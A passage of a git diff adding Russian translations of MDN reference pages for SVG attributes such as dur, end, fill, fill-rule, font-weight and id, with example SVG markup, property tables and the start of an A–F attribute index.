+    &lt;animate attributeType="XML" attributeName="y" from="0" to="50"
+        dur="3s" repeatCount="indefinite"/&gt;
+  &lt;/rect&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample("topExample", "220", "150")}}</p>
+</div>
+
+<h2 id="Примечания_к_использованию">Примечания к использованию</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><code><a href="/ru/SVG/Content_type#Clock-value" title="en/SVG/Content_type#Clock-value">&lt;clock-value&gt;</a></code> | <code>indefinite</code> | <code>media</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Значение по-умолчанию</th>
+   <td><code>indefinite</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Анимируемый</th>
+   <td>Нет</td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt><code>&lt;clock-value&gt;</code></dt>
+ <dd>Задает длину простой длительности. Значение должно быть больше 0. Это значение может быть выражено в часах (<code>h</code>), минутах (<code>m</code>), секундах (<code>s</code>) или миллисекундах (<code>ms</code>). Это позволяет объединить такое представление времени для предоставления некоторых сложных длительностей, таких как: <code>hh:mm:ss.iii</code> или  <code>mm:ss.iii</code></dd>
+ <dt><code>media</code></dt>
+ <dd>Задаёт простую длительность, как длительность, свойственной медиа. Это валидно только для элементов, которые определяют media.</dd>
+ <dt><code>indefinite</code></dt>
+ <dd>Задаёт простую длительность, как незаданную</dd>
+ <dt></dt>
+</dl>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> Интерполяция не будет работать, если простая длительность остается неопределенной (хотя это может быть полезно для элементов {{ SVGElement("set") }}).</p>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG Animations 2", "#DurAttribute", "dur")}}</td>
+   <td>{{Spec2("SVG Animations 2")}}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "animate.html#DurAttribute", "dur")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("svg.elements.animate.dur")}}</p>
diff --git a/files/ru/web/svg/attribute/end/index.html b/files/ru/web/svg/attribute/end/index.html
new file mode 100644
index 0000000000..c4db1e943f
--- /dev/null
+++ b/files/ru/web/svg/attribute/end/index.html
@@ -0,0 +1,45 @@
+---
+title: end
+slug: Web/SVG/Attribute/end
+translation_of: Web/SVG/Attribute/end
+---
+<p>« <a href="/en/SVG/Attribute" title="en/SVG/Attribute">SVG Attribute reference home</a></p>
+
+<p>Этот атрибут определяет конечное значение для анимации, которое может ограничить активную длительность.</p>
+
+<p>Значение атрибута представляет собой разделенный точками с запятой список значений. Каждое отдельное значение может совпадать с типом, определенным для {{ SVGAttr("begin") }} атрибута .</p>
+
+<h2 id="Usage_context">Usage context</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Categories</th>
+   <td>Animation timing attribute</td>
+  </tr>
+  <tr>
+   <th scope="row">Value</th>
+   <td>&lt;End-value-list&gt;</td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Normative document</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG/animate.html#EndAttribute" title="http://www.w3.org/TR/SVG/animate.html#EndAttribute">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Для типов значений, разрешенных в, <code>&lt;end-value-list&gt;</code> см.  {{ SVGAttr("begin") }} атрибут.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h2 id="Elements">Elements</h2>
+
+<p>The following elements can use the <code>end</code> attribute</p>
+
+<ul>
+ <li><a href="/en/SVG/Element#Animation" title="en/SVG/Element#Animation">Animation elements</a> »</li>
+</ul>
diff --git a/files/ru/web/svg/attribute/fill-opacity/index.html b/files/ru/web/svg/attribute/fill-opacity/index.html
new file mode 100644
index 0000000000..ca44666cf6
--- /dev/null
+++ b/files/ru/web/svg/attribute/fill-opacity/index.html
@@ -0,0 +1,69 @@
+---
+title: fill-opacity
+slug: Web/SVG/Attribute/fill-opacity
+tags:
+  - SVG
+  - SVG атрибуты
+translation_of: Web/SVG/Attribute/fill-opacity
+---
+<p>« <a href="/ru/docs/Web/SVG/Attribute" title="Справочник SVG атрибутов">Справочник SVG атрибутов</a></p>
+
+<p>Этот атрибут определяет прозрачность цвета заполнения содержимого элемента.</p>
+
+<h2 id="Контекст_использования">Контекст использования</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Категория</th>
+   <td>Атрибут оформления</td>
+  </tr>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><a href="/en/SVG/Content_type#Opacity_value" title="en/SVG/Content_type#Opacity_value">&lt;opacity-value&gt;</a> | inherit</td>
+  </tr>
+  <tr>
+   <th scope="row">Предустановленное значение</th>
+   <td>1</td>
+  </tr>
+  <tr>
+   <th scope="row">Анимируемый</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">Спецификация</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG/painting.html#FillOpacityProperty" title="http://www.w3.org/TR/SVG/painting.html#FillOpacityProperty">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="SVG">SVG</h3>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;circle cx="100" cy="100" r="100" /&gt;
+&lt;/svg&gt;
+&lt;svg viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;circle cx="100" cy="100" r="100" fill-opacity="0.25" /&gt;
+&lt;/svg&gt;</pre>
+
+<h3 id="результат">результат</h3>
+
+<p>{{EmbedLiveSample('Example', 200, 200)}}</p>
+
+<h2 id="Элементы">Элементы</h2>
+
+<p>Следующие группы элементов могут быть использованы с атрибутом <code>fill-opacity</code>:</p>
+
+<ul>
+ <li><a href="/en/SVG/Element#Shape" title="en/SVG/Element#Shape">Элементы графических форм (Shape elements</a>) »</li>
+ <li><a href="/en/SVG/Element#TextContent" title="en/SVG/Element#TexteContent">Текстовые элементы</a> »</li>
+</ul>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{ SVGAttr("stroke-opacity") }}</li>
+ <li>{{ SVGAttr("opacity") }}</li>
+</ul>
diff --git a/files/ru/web/svg/attribute/fill-rule/index.html b/files/ru/web/svg/attribute/fill-rule/index.html
new file mode 100644
index 0000000000..d83dad58c3
--- /dev/null
+++ b/files/ru/web/svg/attribute/fill-rule/index.html
@@ -0,0 +1,162 @@
+---
+title: fill-rule
+slug: Web/SVG/Attribute/fill-rule
+translation_of: Web/SVG/Attribute/fill-rule
+---
+<div>{{SVGRef}}</div>
+
+<p>The <strong><code>fill-rule</code></strong> этот  атрибут представления, формулирует алгоритм, используемый для определения внутренней части фигуры.</p>
+
+<p class="note"><strong>Note:</strong> Атрибут представления, <code>fill-rule</code> может быть использован как CSS свойство.</p>
+
+<p>Как атрибут представления, он может быть применен к следующим восьми элементам:: {{SVGElement('altGlyph')}}, {{SVGElement('path')}}, {{SVGElement('polygon')}}, {{SVGElement('polyline')}}, {{SVGElement('text')}}, {{SVGElement('textPath')}}, {{SVGElement('tref')}}, and {{SVGElement('tspan')}}</p>
+
+<div id="topExample">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="-10 -10 220 120" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- Default value for fill-rule --&gt;
+  &lt;polygon fill-rule="nonzero" stroke="red"
+   points="50,0 21,90 98,35 2,35 79,90"/&gt;
+
+  &lt;!--
+  The center of the shape has two
+  path segments (shown by the red stroke)
+  between it and infinity. It is therefore
+  considered outside the shape, and not filled.
+  --&gt;
+  &lt;polygon fill-rule="evenodd" stroke="red"
+   points="150,0 121,90 198,35 102,35 179,90"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('topExample', '100%', 200)}}</p>
+</div>
+
+<h2 id="Примечания_по_использованию">Примечания по использованию</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><code>nonzero</code> | <code>evenodd</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Значение по умолчанию</th>
+   <td><code>nonzero</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Анимируемый</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>The <code>fill-rule</code> attribute provides two options for how the inside (that is, the area to be filled) of a shape is determined:</p>
+
+<h3 id="nonzero">nonzero</h3>
+
+<p>The value <code>nonzero</code> determines the "insideness" of a point in the shape by drawing a ray from that point to infinity in any direction, and then examining the places where a segment of the shape crosses the ray. Starting with a count of zero, add one each time a path segment crosses the ray from left to right and subtract one each time a path segment crosses the ray from right to left. After counting the crossings, if the result is zero then the point is outside the path. Otherwise, it is inside.</p>
+
+<h4 id="Example">Example</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="-10 -10 320 120" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- Effect of nonzero fill rule on crossing path segments --&gt;
+  &lt;polygon fill-rule="nonzero" stroke="red"
+           points="50,0 21,90 98,35 2,35 79,90"/&gt;
+
+  &lt;!--
+  Effect of nonzero fill rule on a shape inside a shape
+  with the path segment moving in the same direction
+  (both squares drawn clockwise, to the "right")
+  --&gt;
+  &lt;path fill-rule="nonzero" stroke="red"
+        d="M110,0  h90 v90 h-90 z
+           M130,20 h50 v50 h-50 z"/&gt;
+
+    &lt;!--
+  Effect of nonzero fill rule on a shape inside a shape
+  with the path segment moving in the opposite direction
+  (one square drawn clockwise, the other anti-clockwise)
+  --&gt;
+  &lt;path fill-rule="nonzero" stroke="red"
+        d="M210,0  h90 v90 h-90 z
+           M230,20 v50 h50 v-50 z"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('nonzero', '100%', 200)}}</p>
+
+<h3 id="evenodd">evenodd</h3>
+
+<p>The value <code>evenodd</code> determines the "insideness" of a point in the shape by drawing a ray from that point to infinity in any direction and counting the number of path segments from the given shape that the ray crosses. If this number is odd, the point is inside; if even, the point is outside.</p>
+
+<h4 id="Example_2">Example</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="-10 -10 320 120" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- Effect of evenodd fill rule on crossing path segments --&gt;
+  &lt;polygon fill-rule="evenodd" stroke="red"
+           points="50,0 21,90 98,35 2,35 79,90"/&gt;
+
+  &lt;!--
+  Effect of evenodd fill rule on on a shape inside a shape
+  with the path segment moving in the same direction
+  (both squares drawn clockwise, to the "right")
+  --&gt;
+  &lt;path fill-rule="evenodd" stroke="red"
+        d="M110,0  h90 v90 h-90 z
+           M130,20 h50 v50 h-50 z"/&gt;
+
+    &lt;!--
+  Effect of evenodd fill rule on a shape inside a shape
+  with the path segment moving in opposite direction
+  (one square drawn clockwise, the other anti-clockwise)
+  --&gt;
+  &lt;path fill-rule="evenodd" stroke="red"
+        d="M210,0  h90 v90 h-90 z
+           M230,20 v50 h50 v-50 z"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('evenodd', '100%', 200)}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("svg.attributes.presentation.fill-rule")}}</p>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG2", "painting.html#FillRuleProperty", "fill-rule")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Definition for shapes and text</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "painting.html#FillRuleProperty", "fill-rule")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Initial definition for shapes and text</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="ddict_div" style="top: 1201.2px; max-width: 120px; left: 303.181px;"><img class="ddict_audio">
+<p class="ddict_sentence">да</p>
+</div>
diff --git a/files/ru/web/svg/attribute/fill/index.html b/files/ru/web/svg/attribute/fill/index.html
new file mode 100644
index 0000000000..9e4c654a44
--- /dev/null
+++ b/files/ru/web/svg/attribute/fill/index.html
@@ -0,0 +1,99 @@
+---
+title: fill
+slug: Web/SVG/Attribute/fill
+tags:
+  - NeedsUpdate
+  - SVG
+  - SVG атрибуты
+translation_of: Web/SVG/Attribute/fill
+---
+<p>« <a href="/ru/docs/Web/SVG/Attribute" title="Справочник SVG атрибутов">Справочник SVG атрибутов</a></p>
+
+<p>Атрибут <code>fill</code> имеет два значения в зависимости от используемого контекста.</p>
+
+<p><span style="line-height: 1.572;">По умолчанию, когда элементы анимации заканчиваются и их эффекты больше не применяются к значению представления для целевых атрибутов. Атрибут <code>fill</code> может использоваться для сохранения значения анимации после окончания активной продолжительности элемента анимации.</span></p>
+
+<p>Для фигур и текста атрибут <code>fill</code> является атрибутом представления, определяющим цвет внутренней части данного графического элемента. То, что называется «интерьер», зависит от самой фигуры и значения {{ SVGAttr("fill-rule") }} атрибут. Как атрибут представления, он также может использоваться как свойство непосредственно в таблице стилей CSS</p>
+
+<h2 id="Контекст_использования">Контекст использования</h2>
+
+<h3 id="Для_анимируемых_элементов">Для анимируемых элементов</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Категория</th>
+   <td>Атрибуты времени анимации</td>
+  </tr>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong title="this is the default value">remove</strong> | freeze</td>
+  </tr>
+  <tr>
+   <th scope="row">Анимация</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Нормативный документ</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG/animate.html#FillAttribute" title="http://www.w3.org/TR/SVG/animate.html#FillAttribute">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>remove (default)</dt>
+ <dd>Эффект анимации удаляется (больше не применяется) при завершении активной продолжительности анимации. После активного конца анимации анимация больше не влияет на конечный объект (если анимация не перезапущена).</dd>
+ <dt>freeze</dt>
+ <dd>Эффект анимации «заморожен» при активной длительности анимации на оставшийся срок действия документа (или до перезапуска анимации).</dd>
+</dl>
+
+<h3 id="Для_текста_и_форм">Для текста и форм</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Категория</th>
+   <td>Атрибут представления</td>
+  </tr>
+  <tr>
+   <th scope="row">Значение</th>
+   <td>
+    <p><a href="/en/SVG/Content_type#Paint" title="en/SVG/Content_type#Paint">&lt;paint&gt;</a>, <code>context-fill</code>, <code>context-stroke</code></p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Анимация</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">Нормативный документ</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG/painting.html#FillProperty" title="http://www.w3.org/TR/SVG/painting.html#FillProperty">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Пример_1_Простой_SVG">Пример 1: Простой SVG</h3>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;circle cx="100" cy="100" r="100" fill="#666"/&gt;
+&lt;/svg&gt;</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{EmbedLiveSample('Example_1_Simple_SVG', 200, 200)}}</p>
+
+<h2 id="Использование_context-fill">Использование <code>context-fill</code></h2>
+
+<p>Для информации об использовании нестандартного и ограниченного значения  <code>context-fill</code> (и <code>context-stroke</code>) смотрите документацию  {{cssxref("-moz-context-properties")}}.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p>Следующие элементы могут использовать атрибут <code>fill</code></p>
+
+<ul>
+ <li><a href="/en/SVG/Element#Animation_elements" title="en/SVG/Element#Animation">Animation elements</a> »</li>
+ <li><a href="/en/SVG/Element#Shape" title="en/SVG/Element#Shape">Shape elements</a> »</li>
+ <li><a href="/en/SVG/Element#TextContent" title="en/SVG/Element#TextContent">Text content elements</a> »</li>
+</ul>
diff --git a/files/ru/web/svg/attribute/font-weight/index.html b/files/ru/web/svg/attribute/font-weight/index.html
new file mode 100644
index 0000000000..1985975c56
--- /dev/null
+++ b/files/ru/web/svg/attribute/font-weight/index.html
@@ -0,0 +1,86 @@
+---
+title: font-weight
+slug: Web/SVG/Attribute/font-weight
+tags:
+  - SVG
+translation_of: Web/SVG/Attribute/font-weight
+---
+<p>« <a href="/en/SVG/Attribute" title="en/SVG/Attribute">SVG Attribute reference home</a></p>
+
+<p><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Атрибут </span></font>font-weight</code> позволяет выбрать из шрифтового семейства начертание шрифта с указанной насыщенностью (иначе говоря, толщиной линий знаков, "жирностью") .</p>
+
+<p>Как и любой атрибут представления, <code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;"> </span></font>font-weight</code> может быть использован в виде свойства в CSS стилях, см. {{ cssxref("font-weight","CSS font-weight") }} для подробной информации.</p>
+
+<h2 id="Контекст_применения">Контекст применения</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Категории</th>
+   <td>Атрибут представления</td>
+  </tr>
+  <tr>
+   <th scope="row">Значения</th>
+   <td><strong>normal</strong> | bold | bolder | lighter | 100 | 200 | 300 | 400 | 500 | 600 | 700 | 800 | 900 | inherit</td>
+  </tr>
+  <tr>
+   <th scope="row">Анимируемость</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">Нормативный документ</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/text.html#FontWeightProperty" title="http://www.w3.org/TR/SVG11/text.html#FontWeightProperty">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Значение_ключевых_слов">Значение ключевых слов</h2>
+
+<ul>
+ <li><strong>bold</strong> - соответствует значению <strong>700 </strong>- полужирное начертание</li>
+ <li><strong>normal</strong> - соответствует значению <strong>400 </strong>- нормальное начертание</li>
+ <li><strong>bolder </strong>и <strong>lighter</strong> указывают браузеру использовать соответственно более жирное или более тонкое начертание в сравнении с текущим значением родительского элемента. Дочерние элементы, в свою очередь, унаследуют получившееся значение.</li>
+ <li><strong>inherit </strong>- дает указание браузеру унаследовать тип начертания от родительского элемента.</li>
+</ul>
+
+<h2 id="Предостережения">Предостережения</h2>
+
+<p>Для многих шрифтов доступны только значения 400 и 700 - нормальное и полужирное начертания соответственно. Доступные значения могут варьироваться в зависимости от шрифта.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="css">css</h3>
+
+<pre class="brush: css">p.normal {font-weight:normal;}
+p.thick {font-weight:bold;}
+p.thicker {font-weight:900;}</pre>
+
+<h3 id="html">html</h3>
+
+<pre class="brush: html">&lt;p class="normal"&gt;This is a paragraph.&lt;/p&gt;
+&lt;p class="light"&gt;This is a paragraph.&lt;/p&gt;
+&lt;p class="thick"&gt;This is a paragraph.&lt;/p&gt;
+&lt;p class="thicker"&gt;This is a paragraph.&lt;/p&gt;
+</pre>
+
+<h2 id="Элементы">Элементы</h2>
+
+<p>Следующие элементы могут использовать атрибут <code>font-weight</code>.</p>
+
+<ul>
+ <li><a href="/en/SVG/Element#Text_content_elements" title="en/SVG/Element#Text_content_elements">Text content elements</a> »</li>
+</ul>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Поддержка браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("svg.attributes.presentation.font-weight")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{ cssxref("font-weight","CSS font-weight") }}</li>
+</ul>
diff --git a/files/ru/web/svg/attribute/id/index.html b/files/ru/web/svg/attribute/id/index.html
new file mode 100644
index 0000000000..54590a4cd4
--- /dev/null
+++ b/files/ru/web/svg/attribute/id/index.html
@@ -0,0 +1,113 @@
+---
+title: id
+slug: Web/SVG/Attribute/id
+tags:
+  - SVG
+translation_of: Web/SVG/Attribute/id
+---
+<div>{{SVGRef}}</div>
+
+<p>Атрибут <code><strong>id</strong></code> присваивает уникальное имя элементу.</p>
+
+<p>Этот атрибут используется всеми элементами.</p>
+
+<div id="topExample">
+<pre class="brush: html notranslate">&lt;svg width="120" height="120" viewBox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;style type="text/css"&gt;
+    &lt;![CDATA[
+      #smallRect {
+        stroke: #000066;
+        fill: #00cc00;
+      }
+    ]]&gt;
+  &lt;/style&gt;
+
+  &lt;rect id="smallRect" x="10" y="10" width="100" height="100" /&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>{{EmbedLiveSample("topExample", "120", "120")}}</p>
+</div>
+
+<h2 id="Примечания_по_использованию">Примечания по использованию</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td>&lt;id&gt;</td>
+  </tr>
+  <tr>
+   <th scope="row">Значение по умолчанию</th>
+   <td><em>Отсутствует</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Анимируемый</th>
+   <td>Нет</td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>&lt;id&gt;</dt>
+ <dd>
+ <p>Задает идентификатор элемента. Идентификатор должен быть уникальным в пределах дерева узлов, не должен быть пустой строкой и не должен содержать  никаких пробелов.</p>
+
+ <div class="blockIndicator note">
+ <p><strong>Примечание:</strong> Следует избегать использование значений идентификатора, которые будут анализироваться как спецификация представления SVG (например, <code>MyDrawing.svg#svgView(viewBox(0,200,1000,1000))</code>) или базовый фрагмент мультимедиа при использовании в качестве целевого фрагмента URL.</p>
+ </div>
+
+ <p>Он должен быть валидным для XML-документов. Автономный документ SVG использует синтаксис XML 1.0, который указывает, что валидные идентификаторы включают только обозначенные символы (буквы, цифры и несколько знаков препинания) и не начинаются с цифры, символа точки (.) или с дефиса (-).</p>
+ </dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG2", "struct.html#IDAttribute", "id")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Более подробно определяет допустимые значения.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "struct.html#IDAttribute", "id")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Исходное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("svg.attributes.style.class")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/HTML/Global_attributes/id">HTML <code>id</code></a></li>
+ <li>{{SVGAttr("class")}}</li>
+</ul>
+
+<div class="jfk-bubble gtx-bubble">
+<div class="jfk-bubble-content-id" id="bubble-27">
+<div id="gtx-host" style="max-width: 400px;"></div>
+</div>
+
+<div class="jfk-bubble-closebtn-id jfk-bubble-closebtn"></div>
+
+<div class="jfk-bubble-arrow-id jfk-bubble-arrow jfk-bubble-arrowdown" style="left: 90px;">
+<div class="jfk-bubble-arrowimplbefore"></div>
+
+<div class="jfk-bubble-arrowimplafter"></div>
+</div>
+</div>
diff --git a/files/ru/web/svg/attribute/index.html b/files/ru/web/svg/attribute/index.html
new file mode 100644
index 0000000000..7d05b490e8
--- /dev/null
+++ b/files/ru/web/svg/attribute/index.html
@@ -0,0 +1,461 @@
+---
+title: Справочник SVG атрибутов
+slug: Web/SVG/Attribute
+tags:
+  - NeedsHelp
+  - SVG
+  - SVG Attribute
+  - SVG Reference
+  - Атрибуты
+  - Руководство
+translation_of: Web/SVG/Attribute
+---
+<p>« <a href="/ru/docs/Web/SVG" title="ru/docs/Web/SVG">SVG</a> / <a href="/ru/docs/Web/SVG/Элемент" title="ru/docs/Web/SVG/Элемент">Справочник SVG элементов</a> »</p>
+
+<p>Элементы SVG можно изменять с помощью атрибутов, которые задают подробные сведения о том, каким образом элемент должен обрабатываться или визуализироваться. Ниже приведен список всех атрибутов, доступных в SVG, а также ссылки на справочную документацию, помогающие узнать, какие элементы поддерживают их и как они работают.</p>
+
+<h2 id="SVG_Атрибуты_от_А_до_Я">SVG Атрибуты от А до Я</h2>
+
+<div style="-moz-column-width: 14em; -webkit-columns: 14em; columns: 14em;">
+<h3 id="A">A</h3>
+
+<ul>
+ <li>{{ SVGAttr("accent-height") }}</li>
+ <li>{{ SVGAttr("accumulate") }}</li>
+ <li>{{ SVGAttr("additive") }}</li>
+ <li>{{ SVGAttr("alignment-baseline") }}</li>
+ <li>{{ SVGAttr("allowReorder") }}</li>
+ <li>{{ SVGAttr("alphabetic") }}</li>
+ <li>{{ SVGAttr("amplitude") }}</li>
+ <li>{{ SVGAttr("arabic-form") }}</li>
+ <li>{{ SVGAttr("ascent") }}</li>
+ <li>{{ SVGAttr("attributeName") }}</li>
+ <li>{{ SVGAttr("attributeType") }}</li>
+ <li>{{ SVGAttr("azimuth") }}</li>
+</ul>
+
+<h3 id="B">B</h3>
+
+<ul>
+ <li>{{ SVGAttr("baseFrequency") }}</li>
+ <li>{{ SVGAttr("baseline-shift") }}</li>
+ <li>{{ SVGAttr("baseProfile") }}</li>
+ <li>{{ SVGAttr("bbox") }}</li>
+ <li>{{ SVGAttr("begin") }}</li>
+ <li>{{ SVGAttr("bias") }}</li>
+ <li>{{ SVGAttr("by") }}</li>
+</ul>
+
+<h3 id="C">C</h3>
+
+<ul>
+ <li>{{ SVGAttr("calcMode") }}</li>
+ <li>{{ SVGAttr("cap-height") }}</li>
+ <li>{{ SVGAttr("class") }}</li>
+ <li>{{ SVGAttr("clip") }}</li>
+ <li>{{ SVGAttr("clipPathUnits") }}</li>
+ <li>{{ SVGAttr("clip-path") }}</li>
+ <li>{{ SVGAttr("clip-rule") }}</li>
+ <li>{{ SVGAttr("color") }}</li>
+ <li>{{ SVGAttr("color-interpolation") }}</li>
+ <li>{{ SVGAttr("color-interpolation-filters") }}</li>
+ <li>{{ SVGAttr("color-profile") }}</li>
+ <li>{{ SVGAttr("color-rendering") }}</li>
+ <li>{{ SVGAttr("contentScriptType") }}</li>
+ <li>{{ SVGAttr("contentStyleType") }}</li>
+ <li>{{ SVGAttr("cursor") }}</li>
+ <li>{{ SVGAttr("cx") }}</li>
+ <li>{{ SVGAttr("cy") }}</li>
+</ul>
+
+<h3 id="D">D</h3>
+
+<ul>
+ <li>{{ SVGAttr("d") }}</li>
+ <li>{{ SVGAttr("descent") }}</li>
+ <li>{{ SVGAttr("diffuseConstant") }}</li>
+ <li>{{ SVGAttr("direction") }}</li>
+ <li>{{ SVGAttr("display") }}</li>
+ <li>{{ SVGAttr("divisor") }}</li>
+ <li>{{ SVGAttr("dominant-baseline") }}</li>
+ <li>{{ SVGAttr("dur") }}</li>
+ <li>{{ SVGAttr("dx") }}</li>
+ <li>{{ SVGAttr("dy") }}</li>
+</ul>
+
+<h3 id="E">E</h3>
+
+<ul>
+ <li>{{ SVGAttr("edgeMode") }}</li>
+ <li>{{ SVGAttr("elevation") }}</li>
+ <li>{{ SVGAttr("enable-background") }}</li>
+ <li>{{ SVGAttr("end") }}</li>
+ <li>{{ SVGAttr("exponent") }}</li>
+ <li>{{ SVGAttr("externalResourcesRequired") }}</li>
+</ul>
+
+<h3 id="F">F</h3>
+
+<ul>
+ <li>{{ SVGAttr("fill") }}</li>
+ <li>{{ SVGAttr("fill-opacity") }}</li>
+ <li>{{ SVGAttr("fill-rule") }}</li>
+ <li>{{ SVGAttr("filter") }}</li>
+ <li>{{ SVGAttr("filterRes") }}</li>
+ <li>{{ SVGAttr("filterUnits") }}</li>
+ <li>{{ SVGAttr("flood-color") }}</li>
+ <li>{{ SVGAttr("flood-opacity") }}</li>
+ <li>{{ SVGAttr("font-family") }}</li>
+ <li>{{ SVGAttr("font-size") }}</li>
+ <li>{{ SVGAttr("font-size-adjust") }}</li>
+ <li>{{ SVGAttr("font-stretch") }}</li>
+ <li>{{ SVGAttr("font-style") }}</li>
+ <li>{{ SVGAttr("font-variant") }}</li>
+ <li>{{ SVGAttr("font-weight") }}</li>
+ <li>{{ SVGAttr("format") }}</li>
+ <li>{{ SVGAttr("from") }}</li>
+ <li>{{ SVGAttr("fx") }}</li>
